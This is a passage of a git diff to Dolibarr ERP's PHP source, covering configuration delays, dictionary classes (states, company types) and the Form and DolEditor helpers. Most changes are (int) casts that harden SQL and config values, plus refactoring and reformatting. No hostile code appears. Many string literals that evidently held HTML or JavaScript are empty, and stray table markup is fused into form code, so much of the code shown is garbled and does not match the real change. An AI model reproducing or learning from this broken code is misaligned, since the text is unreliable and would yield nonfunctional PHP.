$this->global->MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE : 0) * 86400; - $this->bank->cheque->warning_delay = (isset($this->global->MAIN_DELAY_CHEQUES_TO_DEPOSIT) ? $this->global->MAIN_DELAY_CHEQUES_TO_DEPOSIT : 0) * 86400; + $this->bank->rappro->warning_delay = (isset($this->global->MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE) ? (int) $this->global->MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE : 0) * 86400; + $this->bank->cheque->warning_delay = (isset($this->global->MAIN_DELAY_CHEQUES_TO_DEPOSIT) ? (int) $this->global->MAIN_DELAY_CHEQUES_TO_DEPOSIT : 0) * 86400; } if (isset($this->expensereport)) { $this->expensereport->approve = new stdClass(); - $this->expensereport->approve->warning_delay = (isset($this->global->MAIN_DELAY_EXPENSEREPORTS) ? $this->global->MAIN_DELAY_EXPENSEREPORTS : 0) * 86400; + $this->expensereport->approve->warning_delay = (isset($this->global->MAIN_DELAY_EXPENSEREPORTS) ? (int) $this->global->MAIN_DELAY_EXPENSEREPORTS : 0) * 86400; $this->expensereport->payment = new stdClass(); - $this->expensereport->payment->warning_delay = (isset($this->global->MAIN_DELAY_EXPENSEREPORTS_TO_PAY) ? $this->global->MAIN_DELAY_EXPENSEREPORTS_TO_PAY : 0) * 86400; + $this->expensereport->payment->warning_delay = (isset($this->global->MAIN_DELAY_EXPENSEREPORTS_TO_PAY) ? (int) $this->global->MAIN_DELAY_EXPENSEREPORTS_TO_PAY : 0) * 86400; } if (isset($this->holiday)) { $this->holiday->approve = new stdClass(); - $this->holiday->approve->warning_delay = (isset($this->global->MAIN_DELAY_HOLIDAYS) ? $this->global->MAIN_DELAY_HOLIDAYS : 0) * 86400; + $this->holiday->approve->warning_delay = (isset($this->global->MAIN_DELAY_HOLIDAYS) ? (int) $this->global->MAIN_DELAY_HOLIDAYS : 0) * 86400; } if (!empty($this->global->PRODUIT_MULTIPRICES) && empty($this->global->PRODUIT_MULTIPRICES_LIMIT)) { @@ -923,6 +945,10 @@ class Conf // Note: Set MAIN_SECURITY_CSRF_TOKEN_RENEWAL_ON_EACH_CALL=1 to have a renewal of token at each page call instead of each session (not recommended) } + if (!isset($this->global->MAIN_MAIL_ADD_INLINE_IMAGES_IF_DATA)) { + $this->global->MAIN_MAIL_ADD_INLINE_IMAGES_IF_DATA = 1; + } + if (!defined('MAIN_ANTIVIRUS_BYPASS_COMMAND_AND_PARAM')) { if (defined('MAIN_ANTIVIRUS_COMMAND')) { $this->global->MAIN_ANTIVIRUS_COMMAND = constant('MAIN_ANTIVIRUS_COMMAND'); @@ -996,7 +1022,7 @@ class Conf } } - if (!empty($this->syslog->enabled)) { + if (isModEnabled('syslog')) { // We init log handlers if (!empty($this->global->SYSLOG_HANDLERS)) { $handlers = json_decode($this->global->SYSLOG_HANDLERS); diff --git a/htdocs/core/class/cstate.class.php b/htdocs/core/class/cstate.class.php index d67b0c25f66..46e60b2f7fd 100644 --- a/htdocs/core/class/cstate.class.php +++ b/htdocs/core/class/cstate.class.php @@ -49,6 +49,11 @@ class Cstate // extends CommonObject */ public $id; + /** + * @var int ID + */ + public $rowid; + public $code_departement; public $code; @@ -117,7 +122,7 @@ class Cstate // extends CommonObject $sql .= " ".(!isset($this->rowid) ? 'NULL' : "'".$this->db->escape($this->rowid)."'").","; $sql .= " ".(!isset($this->code_departement) ? 'NULL' : "'".$this->db->escape($this->code_departement)."'").","; $sql .= " ".(!isset($this->nom) ? 'NULL' : "'".$this->db->escape($this->nom)."'").","; - $sql .= " ".(!isset($this->active) ? 'NULL' : "'".$this->db->escape($this->active)."'").""; + $sql .= " ".(!isset($this->active) ? 'NULL' : "'".$this->db->escape($this->active)."'"); $sql .= ")"; $this->db->begin(); @@ -208,22 +213,23 @@ class Cstate // extends CommonObject if (isset($this->code_departement)) { $this->code_departement = trim($this->code_departement); } - if (isset($this->nom)) { - $this->nom = trim($this->nom); + if (isset($this->name)) { + $this->name = trim($this->name); } if (isset($this->active)) { $this->active = trim($this->active); } - // Check parameters - // Put here code to add control on parameters values + if (empty($this->name) && !empty($this->nom)) { + $this->name = $this->nom; + } // Update request $sql = "UPDATE ".$this->db->prefix()."c_departements SET"; $sql .= " code_departement=".(isset($this->code_departement) ? "'".$this->db->escape($this->code_departement)."'" : "null").","; - $sql .= " nom=".(isset($this->nom) ? "'".$this->db->escape($this->nom)."'" : "null").","; - $sql .= " active=".(isset($this->active) ? $this->active : "null").""; + $sql .= " nom=".(isset($this->name) ? "'".$this->db->escape($this->name)."'" : "null").","; + $sql .= " active=".(isset($this->active) ? ((int) $this->active) : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); diff --git a/htdocs/core/class/ctypent.class.php b/htdocs/core/class/ctypent.class.php index 324bfcb36a0..fb6704f6942 100644 --- a/htdocs/core/class/ctypent.class.php +++ b/htdocs/core/class/ctypent.class.php @@ -42,22 +42,24 @@ class Ctypent // extends CommonObject */ public $errors = array(); - //var $element='ctypent'; //!< Id that identify managed objects - //var $table_element='ctypent'; //!< Name of table without prefix where object is stored + // public $element = 'ctypent'; //!< Id that identify managed objects + // public $table_element = 'ctypent'; //!< Name of table without prefix where object is stored /** * @var int ID */ public $id; + /** + * @var int ID of country + */ + public $country_id; + public $code; public $libelle; public $active; public $module; - - - /** * Constructor * @@ -114,7 +116,7 @@ class Ctypent // extends CommonObject $sql .= " ".(!isset($this->code) ? 'NULL' : "'".$this->db->escape($this->code)."'").","; $sql .= " ".(!isset($this->libelle) ? 'NULL' : "'".$this->db->escape($this->libelle)."'").","; $sql .= " ".(!isset($this->active) ? 'NULL' : "'".$this->db->escape($this->active)."'").","; - $sql .= " ".(!isset($this->module) ? 'NULL' : "'".$this->db->escape($this->module)."'").""; + $sql .= " ".(!isset($this->module) ? 'NULL' : "'".$this->db->escape($this->module)."'"); $sql .= ")"; $this->db->begin(); @@ -227,8 +229,8 @@ class Ctypent // extends CommonObject $sql = "UPDATE ".$this->db->prefix()."c_typent SET"; $sql .= " code=".(isset($this->code) ? "'".$this->db->escape($this->code)."'" : "null").","; $sql .= " libelle=".(isset($this->libelle) ? "'".$this->db->escape($this->libelle)."'" : "null").","; - $sql .= " active=".(isset($this->active) ? $this->active : "null").","; - $sql .= " module=".(isset($this->module) ? "'".$this->db->escape($this->module)."'" : "null").""; + $sql .= " active=".(isset($this->active) ? ((int) $this->active) : "null").","; + $sql .= " module=".(isset($this->module) ? "'".$this->db->escape($this->module)."'" : "null"); $sql .= " WHERE id=".$this->id; $this->db->begin(); diff --git a/htdocs/core/class/ctyperesource.class.php b/htdocs/core/class/ctyperesource.class.php index be83877098c..88f6960a9f9 100644 --- a/htdocs/core/class/ctyperesource.class.php +++ b/htdocs/core/class/ctyperesource.class.php @@ -468,8 +468,4 @@ class CtyperesourceLine public $label; public $active; - - /** - * @var mixed Sample line property 2 - */ } diff --git a/htdocs/core/class/discount.class.php b/htdocs/core/class/discount.class.php index 052d5ae7e1c..9f5ea960c9a 100644 --- a/htdocs/core/class/discount.class.php +++ b/htdocs/core/class/discount.class.php @@ -419,7 +419,7 @@ class DiscountAbsolute * When discount is from a credit note used to reduce payment of an invoice, we link using rowidinvoice * * @param int $rowidline Invoice line id (To use discount into invoice lines) - * @param int $rowidinvoice Invoice id (To use discount as a credit note to reduc payment of invoice) + * @param int $rowidinvoice Invoice id (To use discount as a credit note to reduce payment of invoice) * @return int <0 if KO, >0 if OK */ public function link_to_invoice($rowidline, $rowidinvoice) diff --git a/htdocs/core/class/doleditor.class.php b/htdocs/core/class/doleditor.class.php index 53a20d6dadd..bb63c1dd927 100644 --- a/htdocs/core/class/doleditor.class.php +++ b/htdocs/core/class/doleditor.class.php @@ -43,6 +43,7 @@ class DolEditor public $cols; public $height; public $width; + public $uselocalbrowser; public $readonly; public $posx; public $posy; @@ -60,7 +61,7 @@ class DolEditor * 'In' = each window has its own toolbar * 'Out:name' = share toolbar into the div called 'name' * @param boolean $toolbarstartexpanded Bar is visible or not at start - * @param boolean $uselocalbrowser Enabled to add links to local object with local browser. If false, only external images can be added in content. + * @param boolean|int $uselocalbrowser Enabled to add links to local object with local browser. If false, only external images can be added in content. * @param boolean|string $okforextendededitor True=Allow usage of extended editor tool if qualified (like ckeditor). If 'textarea', force use of simple textarea. If 'ace', force use of Ace. * Warning: If you use 'ace', don't forget to also include ace.js in page header. Also, the button "save" must have class="buttonforacesave". * @param int $rows Size of rows for textarea tool @@ -157,11 +158,7 @@ class DolEditor define('REQUIRE_CKEDITOR', '1'); } - if (!empty($conf->global->FCKEDITOR_SKIN)) { - $skin = $conf->global->FCKEDITOR_SKIN; - } else { - $skin = 'moono-lisa'; // default with ckeditor 4.6 : moono-lisa - } + $skin = getDolGlobalString('FCKEDITOR_SKIN', 'moono-lisa'); // default with ckeditor 4.6 : moono-lisa $pluginstodisable = 'elementspath,save,flash,div,specialchar,anchor'; if (!empty($conf->dol_optimize_smallscreen)) { @@ -183,31 +180,31 @@ class DolEditor $htmlencode_force = preg_match('/_encoded$/', $this->toolbarname) ? 'true' : 'false'; - $out .= ''."\n"; - $out .= ''; + $result .= ''; } return $result; @@ -446,15 +469,15 @@ class Form /** * Output edit in place form * - * @param object $object Object - * @param string $value Value to show/edit - * @param string $htmlname DIV ID (field name) - * @param int $condition Condition to edit - * @param string $inputType Type of input ('string', 'numeric', 'datepicker' ('day' do not work, don't know why), 'textarea:rows:cols', 'ckeditor:dolibarr_zzz:width:height:?:1:rows:cols', 'select:loadmethod:savemethod:buttononly') - * @param string $editvalue When in edit mode, use this value as $value instead of value - * @param object $extObject External object - * @param mixed $custommsg String or Array of custom messages : eg array('success' => 'MyMessage', 'error' => 'MyMessage') - * @return string HTML edit in place + * @param object $object Object + * @param string $value Value to show/edit + * @param string $htmlname DIV ID (field name) + * @param int $condition Condition to edit + * @param string $inputType Type of input ('string', 'numeric', 'datepicker' ('day' do not work, don't know why), 'textarea:rows:cols', 'ckeditor:dolibarr_zzz:width:height:?:1:rows:cols', 'select:loadmethod:savemethod:buttononly') + * @param string $editvalue When in edit mode, use this value as $value instead of value + * @param object $extObject External object + * @param mixed $custommsg String or Array of custom messages : eg array('success' => 'MyMessage', 'error' => 'MyMessage') + * @return string HTML edit in place */ protected function editInPlace($object, $value, $htmlname, $condition, $inputType = 'textarea', $editvalue = null, $extObject = null, $custommsg = null) { @@ -474,11 +497,11 @@ class Form if ($condition) { $element = false; $table_element = false; - $fk_element = false; - $loadmethod = false; - $savemethod = false; - $ext_element = false; - $button_only = false; + $fk_element = false; + $loadmethod = false; + $savemethod = false; + $ext_element = false; + $button_only = false; $inputOption = ''; $rows = ''; $cols = ''; @@ -502,7 +525,7 @@ class Form if (!empty($tmp[2])) { $savemethod = $tmp[2]; } - $out .= ''."\n"; + $out .= '' . "\n"; } elseif ((preg_match('/^day$/', $inputType)) || (preg_match('/^datepicker/', $inputType)) || (preg_match('/^datehourpicker/', $inputType))) { $tmp = explode(':', $inputType); $inputType = $tmp[0]; @@ -513,7 +536,7 @@ class Form $savemethod = $tmp[2]; } - $out .= ''."\n"; // Use for timestamp format + $out .= '' . "\n"; // Use for timestamp format } elseif (preg_match('/^(select|autocomplete)/', $inputType)) { $tmp = explode(':', $inputType); $inputType = $tmp[0]; @@ -544,40 +567,40 @@ class Form } if (isModEnabled('fckeditor')) { - $out .= ''."\n"; + $out .= '' . "\n"; } else { $inputType = 'textarea'; } } - $out .= ''."\n"; - $out .= ''."\n"; - $out .= ''."\n"; - $out .= ''."\n"; + $out .= '' . "\n"; + $out .= '' . "\n"; + $out .= '' . "\n"; + $out .= '' . "\n"; if (!empty($savemethod)) { - $out .= ''."\n"; + $out .= '' . "\n"; } if (!empty($ext_element)) { - $out .= ''."\n"; + $out .= '' . "\n"; } if (!empty($custommsg)) { if (is_array($custommsg)) { if (!empty($custommsg['success'])) { - $out .= ''."\n"; + $out .= '' . "\n"; } if (!empty($custommsg['error'])) { - $out .= ''."\n"; + $out .= '' . "\n"; } } else { - $out .= ''."\n"; + $out .= '' . "\n"; } } if ($inputType == 'textarea') { - $out .= ''."\n"; - $out .= ''."\n"; + $out .= '' . "\n"; + $out .= '' . "\n"; } - $out .= ''.$value.''."\n"; - $out .= ''.(!empty($editvalue) ? $editvalue : $value).''."\n"; + $out .= '' . $value . '' . "\n"; + $out .= '' . (!empty($editvalue) ? $editvalue : $value) . '' . "\n"; } else { $out = $value; } @@ -586,32 +609,32 @@ class Form } /** - * Show a text and picto with tooltip on text or picto. + * Show a text and picto with tooltip on text or picto. * Can be called by an instancied $form->textwithtooltip or by a static call Form::textwithtooltip * - * @param string $text Text to show - * @param string $htmltext HTML content of tooltip. Must be HTML/UTF8 encoded. - * @param int $tooltipon 1=tooltip on text, 2=tooltip on image, 3=tooltip sur les 2 - * @param int $direction -1=image is before, 0=no image, 1=image is after - * @param string $img Html code for image (use img_xxx() function to get it) - * @param string $extracss Add a CSS style to td tags - * @param int $notabs 0=Include table and tr tags, 1=Do not include table and tr tags, 2=use div, 3=use span - * @param string $incbefore Include code before the text - * @param int $noencodehtmltext Do not encode into html entity the htmltext - * @param string $tooltiptrigger ''=Tooltip on hover, 'abc'=Tooltip on click (abc is a unique key) - * @param int $forcenowrap Force no wrap between text and picto (works with notabs=2 only) - * @return string Code html du tooltip (texte+picto) - * @see textwithpicto() Use thisfunction if you can. + * @param string $text Text to show + * @param string $htmltext HTML content of tooltip. Must be HTML/UTF8 encoded. + * @param int $tooltipon 1=tooltip on text, 2=tooltip on image, 3=tooltip sur les 2 + * @param int $direction -1=image is before, 0=no image, 1=image is after + * @param string $img Html code for image (use img_xxx() function to get it) + * @param string $extracss Add a CSS style to td tags + * @param int $notabs 0=Include table and tr tags, 1=Do not include table and tr tags, 2=use div, 3=use span + * @param string $incbefore Include code before the text + * @param int $noencodehtmltext Do not encode into html entity the htmltext + * @param string $tooltiptrigger ''=Tooltip on hover, 'abc'=Tooltip on click (abc is a unique key) + * @param int $forcenowrap Force no wrap between text and picto (works with notabs=2 only) + * @return string Code html du tooltip (texte+picto) + * @see textwithpicto() Use thisfunction if you can. */ public function textwithtooltip($text, $htmltext, $tooltipon = 1, $direction = 0, $img = '', $extracss = '', $notabs = 3, $incbefore = '', $noencodehtmltext = 0, $tooltiptrigger = '', $forcenowrap = 0) { if ($incbefore) { - $text = $incbefore.$text; + $text = $incbefore . $text; } if (!$htmltext) { return $text; } - $direction = (int) $direction; // For backward compatibility when $direction was set to '' instead of 0 + $direction = (int) $direction; // For backward compatibility when $direction was set to '' instead of 0 $tag = 'td'; if ($notabs == 2) { @@ -625,11 +648,11 @@ class Form $extrastyle = ''; if ($direction < 0) { - $extracss = ($extracss ? $extracss.' ' : '').($notabs != 3 ? 'inline-block' : ''); + $extracss = ($extracss ? $extracss . ' ' : '') . ($notabs != 3 ? 'inline-block' : ''); $extrastyle = 'padding: 0px; padding-left: 3px;'; } if ($direction > 0) { - $extracss = ($extracss ? $extracss.' ' : '').($notabs != 3 ? 'inline-block' : ''); + $extracss = ($extracss ? $extracss . ' ' : '') . ($notabs != 3 ? 'inline-block' : ''); $extrastyle = 'padding: 0px; padding-right: 3px;'; } @@ -642,53 +665,53 @@ class Form $htmltext = str_replace('"', '"', $htmltext); } else { $classfortooltip = 'classfortooltiponclick'; - $textfordialog .= ''; + $textfordialog .= ''; } if ($tooltipon == 2 || $tooltipon == 3) { - $paramfortooltipimg = ' class="'.$classfortooltip.($notabs != 3 ? ' inline-block' : '').($extracss ? ' '.$extracss : '').'" style="padding: 0px;'.($extrastyle ? ' '.$extrastyle : '').'"'; + $paramfortooltipimg = ' class="' . $classfortooltip . ($notabs != 3 ? ' inline-block' : '') . ($extracss ? ' ' . $extracss : '') . '" style="padding: 0px;' . ($extrastyle ? ' ' . $extrastyle : '') . '"'; if ($tooltiptrigger == '') { - $paramfortooltipimg .= ' title="'.($noencodehtmltext ? $htmltext : dol_escape_htmltag($htmltext, 1)).'"'; // Attribut to put on img tag to store tooltip + $paramfortooltipimg .= ' title="' . ($noencodehtmltext ? $htmltext : dol_escape_htmltag($htmltext, 1)) . '"'; // Attribut to put on img tag to store tooltip } else { - $paramfortooltipimg .= ' dolid="'.$tooltiptrigger.'"'; + $paramfortooltipimg .= ' dolid="' . $tooltiptrigger . '"'; } } else { - $paramfortooltipimg = ($extracss ? ' class="'.$extracss.'"' : '').($extrastyle ? ' style="'.$extrastyle.'"' : ''); // Attribut to put on td text tag + $paramfortooltipimg = ($extracss ? ' class="' . $extracss . '"' : '') . ($extrastyle ? ' style="' . $extrastyle . '"' : ''); // Attribut to put on td text tag } if ($tooltipon == 1 || $tooltipon == 3) { - $paramfortooltiptd = ' class="'.($tooltipon == 3 ? 'cursorpointer ' : '').$classfortooltip.' inline-block'.($extracss ? ' '.$extracss : '').'" style="padding: 0px;'.($extrastyle ? ' '.$extrastyle : '').'" '; + $paramfortooltiptd = ' class="' . ($tooltipon == 3 ? 'cursorpointer ' : '') . $classfortooltip . ' inline-block' . ($extracss ? ' ' . $extracss : '') . '" style="padding: 0px;' . ($extrastyle ? ' ' . $extrastyle : '') . '" '; if ($tooltiptrigger == '') { - $paramfortooltiptd .= ' title="'.($noencodehtmltext ? $htmltext : dol_escape_htmltag($htmltext, 1)).'"'; // Attribut to put on td tag to store tooltip + $paramfortooltiptd .= ' title="' . ($noencodehtmltext ? $htmltext : dol_escape_htmltag($htmltext, 1)) . '"'; // Attribut to put on td tag to store tooltip } else { - $paramfortooltiptd .= ' dolid="'.$tooltiptrigger.'"'; + $paramfortooltiptd .= ' dolid="' . $tooltiptrigger . '"'; } } else { - $paramfortooltiptd = ($extracss ? ' class="'.$extracss.'"' : '').($extrastyle ? ' style="'.$extrastyle.'"' : ''); // Attribut to put on td text tag + $paramfortooltiptd = ($extracss ? ' class="' . $extracss . '"' : '') . ($extrastyle ? ' style="' . $extrastyle . '"' : ''); // Attribut to put on td text tag } if (empty($notabs)) { $s .= '
      '.$langs->trans('PriceUHTCurrency').''.$langs->trans('Qty').''.$langs->trans('Unit').''.$langs->trans('ReductionShort').'
      '; } elseif ($notabs == 2) { - $s .= '
      '; + $s .= '
      '; } // Define value if value is before if ($direction < 0) { - $s .= '<'.$tag.$paramfortooltipimg; + $s .= '<' . $tag . $paramfortooltipimg; if ($tag == 'td') { $s .= ' class="valigntop" width="14"'; } - $s .= '>'.$textfordialog.$img.''; + $s .= '>' . $textfordialog . $img . ''; } // Use another method to help avoid having a space in value in order to use this value with jquery // Define label if ((string) $text != '') { - $s .= '<'.$tag.$paramfortooltiptd.'>'.$text.''; + $s .= '<' . $tag . $paramfortooltiptd . '>' . $text . ''; } // Define value if value is after if ($direction > 0) { - $s .= '<'.$tag.$paramfortooltipimg; + $s .= '<' . $tag . $paramfortooltipimg; if ($tag == 'td') { $s .= ' class="valignmiddle" width="14"'; } - $s .= '>'.$textfordialog.$img.''; + $s .= '>' . $textfordialog . $img . ''; } if (empty($notabs)) { $s .= '
      '; @@ -700,28 +723,23 @@ class Form } /** - * Show a text with a picto and a tooltip on picto + * Show a text with a picto and a tooltip on picto * - * @param string $text Text to show - * @param string $htmltext Content of tooltip - * @param int $direction 1=Icon is after text, -1=Icon is before text, 0=no icon - * @param string $type Type of picto ('info', 'infoclickable', 'help', 'helpclickable', 'warning', 'superadmin', 'mypicto@mymodule', ...) or image filepath or 'none' - * @param string $extracss Add a CSS style to td, div or span tag - * @param int $noencodehtmltext Do not encode into html entity the htmltext - * @param int $notabs 0=Include table and tr tags, 1=Do not include table and tr tags, 2=use div, 3=use span - * @param string $tooltiptrigger ''=Tooltip on hover, 'abc'=Tooltip on click (abc is a unique key, clickable link is on image or on link if param $type='none' or on both if $type='xxxclickable') - * @param int $forcenowrap Force no wrap between text and picto (works with notabs=2 only) - * @return string HTML code of text, picto, tooltip + * @param string $text Text to show + * @param string $htmltext Content of tooltip + * @param int $direction 1=Icon is after text, -1=Icon is before text, 0=no icon + * @param string $type Type of picto ('info', 'infoclickable', 'help', 'helpclickable', 'warning', 'superadmin', 'mypicto@mymodule', ...) or image filepath or 'none' + * @param string $extracss Add a CSS style to td, div or span tag + * @param int $noencodehtmltext Do not encode into html entity the htmltext + * @param int $notabs 0=Include table and tr tags, 1=Do not include table and tr tags, 2=use div, 3=use span + * @param string $tooltiptrigger ''=Tooltip on hover and hidden on smartphone, 'abconsmartphone'=Tooltip on hover and on click on smartphone, 'abc'=Tooltip on click (abc is a unique key, clickable link is on image or on link if param $type='none' or on both if $type='xxxclickable') + * @param int $forcenowrap Force no wrap between text and picto (works with notabs=2 only) + * @return string HTML code of text, picto, tooltip */ public function textwithpicto($text, $htmltext, $direction = 1, $type = 'help', $extracss = '', $noencodehtmltext = 0, $notabs = 3, $tooltiptrigger = '', $forcenowrap = 0) { global $conf, $langs; - $alt = ''; - if ($tooltiptrigger) { - $alt = $langs->transnoentitiesnoconv("ClickToShowHelp"); - } - //For backwards compatibility if ($type == '0') { $type = 'info'; @@ -729,6 +747,15 @@ class Form $type = 'help'; } + if (preg_match('/onsmartphone$/', $tooltiptrigger) && empty($conf->dol_no_mouse_hover)) { + $tooltiptrigger = preg_replace('/^.*onsmartphone$/', '', $tooltiptrigger); + } + + $alt = ''; + if ($tooltiptrigger) { + $alt = $langs->transnoentitiesnoconv("ClickToShowHelp"); + } + // If info or help with no javascript, show only text if (empty($conf->use_javascript_ajax)) { if ($type == 'info' || $type == 'infoclickable' || $type == 'help' || $type == 'helpclickable') { @@ -748,7 +775,7 @@ class Form // If info or help with smartphone, show only text (tooltip on click does not works with dialog on smaprtphone) //if (!empty($conf->dol_no_mouse_hover) && !empty($tooltiptrigger)) //{ - //if ($type == 'info' || $type == 'help') return ''.$text.'''; + //if ($type == 'info' || $type == 'help') return ''.$text.''; //} $img = ''; @@ -774,12 +801,12 @@ class Form /** * Generate select HTML to choose massaction * - * @param string $selected Value auto selected when at least one record is selected. Not a preselected value. Use '0' by default. - * @param array $arrayofaction array('code'=>'label', ...). The code is the key stored into the GETPOST('massaction') when submitting action. - * @param int $alwaysvisible 1=select button always visible - * @param string $name Name for massaction - * @param string $cssclass CSS class used to check for select - * @return string|void Select list + * @param string $selected Value auto selected when at least one record is selected. Not a preselected value. Use '0' by default. + * @param array $arrayofaction array('code'=>'label', ...). The code is the key stored into the GETPOST('massaction') when submitting action. + * @param int $alwaysvisible 1=select button always visible + * @param string $name Name for massaction + * @param string $cssclass CSS class used to check for select + * @return string|void Select list */ public function selectMassAction($selected, $arrayofaction, $alwaysvisible = 0, $name = 'massaction', $cssclass = 'checkforselect') { @@ -788,7 +815,7 @@ class Form $disabled = 0; $ret = '
      '; - $ret .= ''; // Complete list with data from external modules. THe module can use $_SERVER['PHP_SELF'] to know on which page we are, or use the $parameters['currentcontext'] completed by executeHooks. $parameters = array(); @@ -798,9 +825,9 @@ class Form return; } if (empty($reshook)) { - $ret .= ''; + $ret .= ''; foreach ($arrayofaction as $code => $label) { - $ret .= ''; + $ret .= ''; } } $ret .= $hookmanager->resPrint; @@ -808,17 +835,17 @@ class Form $ret .= ''; if (empty($conf->dol_optimize_smallscreen)) { - $ret .= ajax_combobox('.'.$name.'select'); + $ret .= ajax_combobox('.' . $name . 'select'); } // Warning: if you set submit button to disabled, post using 'Enter' will no more work if there is no another input submit. So we add a hidden button $ret .= ''; // Hidden button BEFORE so it is the one used when we submit with ENTER. - $ret .= 'use_javascript_ajax) ? '' : ' style="display: none"').' class="button smallpaddingimp'.(empty($conf->use_javascript_ajax) ? '' : ' hideobject').' '.$name.' '.$name.'confirmed" value="'.dol_escape_htmltag($langs->trans("Confirm")).'">'; + $ret .= 'use_javascript_ajax) ? '' : ' style="display: none"') . ' class="button smallpaddingimp' . (empty($conf->use_javascript_ajax) ? '' : ' hideobject') . ' ' . $name . ' ' . $name . 'confirmed" value="' . dol_escape_htmltag($langs->trans("Confirm")) . '">'; $ret .= '
      '; if (!empty($conf->use_javascript_ajax)) { $ret .= ' - '; $out .= $this->select_dolusers('', $htmlname, $show_empty, $exclude, $disabled, $include, $enableonly, $force_entity, $maxlength, $showstatus, $morefilter); - $out .= ' '; + $out .= ' '; $out .= '
      '; } @@ -2266,32 +2314,33 @@ class Form // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Return list of products for customer in Ajax if Ajax activated or go to select_produits_list * - * @param int $selected Preselected products - * @param string $htmlname Name of HTML select field (must be unique in page). - * @param int|string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) - * @param int $limit Limit on number of returned lines - * @param int $price_level Level of price to show - * @param int $status Sell status -1=Return all products, 0=Products not on sell, 1=Products on sell - * @param int $finished 2=all, 1=finished, 0=raw material - * @param string $selected_input_value Value of preselected input text (for use with ajax) - * @param int $hidelabel Hide label (0=no, 1=yes, 2=show search icon (before) and placeholder, 3 search icon after) - * @param array $ajaxoptions Options for ajax_autocompleter - * @param int $socid Thirdparty Id (to get also price dedicated to this customer) - * @param string $showempty '' to not show empty line. Translation key to show an empty line. '1' show empty line with no text. - * @param int $forcecombo Force to use combo box - * @param string $morecss Add more css on select - * @param int $hidepriceinlabel 1=Hide prices in label - * @param string $warehouseStatus Warehouse status filter to count the quantity in stock. Following comma separated filter options can be used - * 'warehouseopen' = count products from open warehouses, - * 'warehouseclosed' = count products from closed warehouses, - * 'warehouseinternal' = count products from warehouses for internal correct/transfer only - * @param array $selected_combinations Selected combinations. Format: array([attrid] => attrval, [...]) - * @param string $nooutput No print, return the output into a string - * @param int $status_purchase Purchase status -1=Return all products, 0=Products not on purchase, 1=Products on purchase - * @return void|string + * @param int $selected Preselected products + * @param string $htmlname Name of HTML select field (must be unique in page). + * @param int|string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) + * @param int $limit Limit on number of returned lines + * @param int $price_level Level of price to show + * @param int $status Sell status -1=Return all products, 0=Products not on sell, 1=Products on sell + * @param int $finished 2=all, 1=finished, 0=raw material + * @param string $selected_input_value Value of preselected input text (for use with ajax) + * @param int $hidelabel Hide label (0=no, 1=yes, 2=show search icon (before) and placeholder, 3 search icon after) + * @param array $ajaxoptions Options for ajax_autocompleter + * @param int $socid Thirdparty Id (to get also price dedicated to this customer) + * @param string $showempty '' to not show empty line. Translation key to show an empty line. '1' show empty line with no text. + * @param int $forcecombo Force to use combo box + * @param string $morecss Add more css on select + * @param int $hidepriceinlabel 1=Hide prices in label + * @param string $warehouseStatus Warehouse status filter to count the quantity in stock. Following comma separated filter options can be used + * 'warehouseopen' = count products from open warehouses, + * 'warehouseclosed' = count products from closed warehouses, + * 'warehouseinternal' = count products from warehouses for internal correct/transfer only + * @param array $selected_combinations Selected combinations. Format: array([attrid] => attrval, [...]) + * @param string $nooutput No print, return the output into a string + * @param int $status_purchase Purchase status -1=Return all products, 0=Products not on purchase, 1=Products on purchase + * @return void|string */ public function select_produits($selected = '', $htmlname = 'productid', $filtertype = '', $limit = 0, $price_level = 0, $status = 1, $finished = 2, $selected_input_value = '', $hidelabel = 0, $ajaxoptions = array(), $socid = 0, $showempty = '1', $forcecombo = 0, $morecss = '', $hidepriceinlabel = 0, $warehouseStatus = '', $selected_combinations = null, $nooutput = 0, $status_purchase = -1) { @@ -2318,7 +2367,7 @@ class Form $placeholder = ''; if ($selected && empty($selected_input_value)) { - require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; + require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; $producttmpselect = new Product($this->db); $producttmpselect->fetch($selected); $selected_input_value = $producttmpselect->ref; @@ -2333,21 +2382,17 @@ class Form } } // mode=1 means customers products - $urloption = 'htmlname='.$htmlname.'&outjson=1&price_level='.$price_level.'&type='.$filtertype.'&mode=1&status='.$status.'&status_purchase='.$status_purchase.'&finished='.$finished.'&hidepriceinlabel='.$hidepriceinlabel.'&warehousestatus='.$warehouseStatus; - //Price by customer - if (!empty($conf->global->PRODUIT_CUSTOMER_PRICES) && !empty($socid)) { - $urloption .= '&socid='.$socid; - } - $out .= ajax_autocompleter($selected, $htmlname, DOL_URL_ROOT.'/product/ajax/products.php', $urloption, $conf->global->PRODUIT_USE_SEARCH_TO_SELECT, 1, $ajaxoptions); + $urloption = ($socid > 0 ? 'socid=' . $socid . '&' : '') . 'htmlname=' . $htmlname . '&outjson=1&price_level=' . $price_level . '&type=' . $filtertype . '&mode=1&status=' . $status . '&status_purchase=' . $status_purchase . '&finished=' . $finished . '&hidepriceinlabel=' . $hidepriceinlabel . '&warehousestatus=' . $warehouseStatus; + $out .= ajax_autocompleter($selected, $htmlname, DOL_URL_ROOT . '/product/ajax/products.php', $urloption, $conf->global->PRODUIT_USE_SEARCH_TO_SELECT, 1, $ajaxoptions); if (isModEnabled('variants') && is_array($selected_combinations)) { // Code to automatically insert with javascript the select of attributes under the select of product // when a parent of variant has been selected. $out .= ' - '; } if (empty($hidelabel)) { - $out .= $langs->trans("RefOrLabel").' : '; + $out .= $langs->trans("RefOrLabel") . ' : '; } elseif ($hidelabel > 1) { - $placeholder = ' placeholder="'.$langs->trans("RefOrLabel").'"'; + $placeholder = ' placeholder="' . $langs->trans("RefOrLabel") . '"'; if ($hidelabel == 2) { $out .= img_picto($langs->trans("Search"), 'search'); } } - $out .= 'global->PRODUCT_SEARCH_AUTOFOCUS) ? 'autofocus' : '').' />'; + $out .= 'global->PRODUCT_SEARCH_AUTOFOCUS) ? 'autofocus' : '') . ' />'; if ($hidelabel == 3) { $out .= img_picto($langs->trans("Search"), 'search'); } @@ -2453,7 +2498,7 @@ class Form * @param string $morecss Add more css on select * @param string $nooutput No print, return the output into a string * @param int $forcecombo Force to use combo box - * @param array $TProducts Add filter on a defined product + * @param array $TProducts Add filter on a defined product * @return void|string */ public function 